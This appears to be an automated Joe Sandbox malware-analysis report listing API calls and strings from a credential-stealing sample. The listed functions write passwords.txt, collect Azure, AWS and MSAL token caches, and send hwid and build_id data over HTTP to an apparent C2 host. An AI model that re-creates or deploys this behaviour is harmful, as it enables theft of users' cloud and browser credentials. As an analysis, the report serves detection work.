Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AA0
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AF9
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B59
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C12
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C6B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C81

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CE1
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D3A
Sleep.KERNEL32(0000EA60), ref: 00416D49

Strings

ERROR, xrefs: 00416CD9
ERROR, xrefs: 00416BAA
sqlp.dll, xrefs: 00416DE6
sql.dll, xrefs: 00416E48
ERROR, xrefs: 00416B51
ERROR, xrefs: 00416D32
xwA, xrefs: 00416E67
sqlp.dll, xrefs: 00416D7E
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D5F
ERROR, xrefs: 00416C63
sqlp.dll, xrefs: 00416E17
ERROR, xrefs: 00416C79
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DC7
ERROR, xrefs: 00416A98
ERROR, xrefs: 00416AF1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DF8
ERROR, xrefs: 00416C0A

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll$xwA
API String ID: 507064821-2196559756
Opcode ID: 6acb66367bd626a802880b971752c409855805311b2b6436e12093a404613b2f
Instruction ID: 67ae3532ae32ee87843adf4823a2029588a02c04bd6d8d27a2e314fe47f406e5
Opcode Fuzzy Hash: 6acb66367bd626a802880b971752c409855805311b2b6436e12093a404613b2f
Instruction Fuzzy Hash: 2DC14C31E40118ABCF10FB66DD47ACC7775AF04308F51506BF815B7192DBB8AE898B99

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437198,004367C6,?,?,?), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 17fcb621ec36d0c02431b614dd316cfc10a460330261f549eca3010ab7435fb1
Instruction ID: 020f7448ea6054a123c00f52db54e90bdcc83da43011bffc63cd09fdeebd54b9
Opcode Fuzzy Hash: 17fcb621ec36d0c02431b614dd316cfc10a460330261f549eca3010ab7435fb1
Instruction Fuzzy Hash: CB814032900208AFCF05FFA1EE4A9CD7B76BF08316F205066F501B31A1EB7A5E559B59

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 56d294bb2ba73ca560e94c27fbb18eff0efcde2227c6dc017a4ee35aecd0e56c
Instruction ID: 14fb239faf826fe262df77a964d215537439ea8fef978f806f0a574b414f50cd
Opcode Fuzzy Hash: 56d294bb2ba73ca560e94c27fbb18eff0efcde2227c6dc017a4ee35aecd0e56c
Instruction Fuzzy Hash: FC41C6B190021CABDB205F61AC4CF9F7B7DEB85715F1012BAF00AE11A1DA754E54CF28

Function 00404B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

build_id, xrefs: 0040500D
hwid, xrefs: 00404EAD
------, xrefs: 00404C75
", xrefs: 00405039
------, xrefs: 00404DFB
------, xrefs: 00404F5B
", xrefs: 00404ED9

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: f34a25dd8e595e396d642dcbb8f2e61ded10bb2694430193cb3aa9c498e611f8
Instruction ID: 05dc65dde63484f8ac5df0544543808c18c9a64a97fbebf3921a50b733899a0c
Opcode Fuzzy Hash: f34a25dd8e595e396d642dcbb8f2e61ded10bb2694430193cb3aa9c498e611f8
Instruction Fuzzy Hash: D502C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

Azure\.azure, xrefs: 00416531
\.azure\, xrefs: 00416512
Azure\.IdentityService, xrefs: 00416619
\.aws\, xrefs: 00416589
msal.cache, xrefs: 0041661E
*.*, xrefs: 004165AA
\.IdentityService\, xrefs: 004165FD
*.*, xrefs: 00416536
Azure\.aws, xrefs: 004165A5

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$_memsetwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4216275855-974132213
Opcode ID: 76834d7dd4d0cf9b5b288714eb7b7638825ddcfa6bcbbff797c14ffbe4ebb74a
Instruction ID: 4c866f40ad272d889a39ae9f67839716a451dfd22230b5f9132dcad9f0c5c1bb
Opcode Fuzzy Hash: 76834d7dd4d0cf9b5b288714eb7b7638825ddcfa6bcbbff797c14ffbe4ebb74a
Instruction Fuzzy Hash: D041C871D4021CBBDB14EB60EC47FDD737CAB09304F5044AAB605A7090EAB9AB848F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,004373D0,00436812,?,?,?), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 60d57d675a9d731589791353872bd52ec5546c376b553523e57875972b12a5df
Instruction ID: a3d02141b29f0bf43d948e825a07a3c24bfee850cb90f18aec9c3f52fa0ccd39
Opcode Fuzzy Hash: 60d57d675a9d731589791353872bd52ec5546c376b553523e57875972b12a5df
Instruction Fuzzy Hash: 14C14D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 0041718B Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,004186D9), ref: 00417227
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00417236
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 00417754
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417815
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 0041782E

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,0041788E), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BE4

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,004186D9), ref: 0041724A

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F7B,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 0041814A

Strings

12d962a0b4176a0c19c4e61c53bd20b5, xrefs: 00417856
_DEBUG.zip, xrefs: 0041807F
.exe, xrefs: 00417F4E
org, xrefs: 00418031
cowod., xrefs: 00417FC5
http://, xrefs: 00417FA1
hopto, xrefs: 00417FE9
.exe, xrefs: 00417693

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$12d962a0b4176a0c19c4e61c53bd20b5$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-597428113
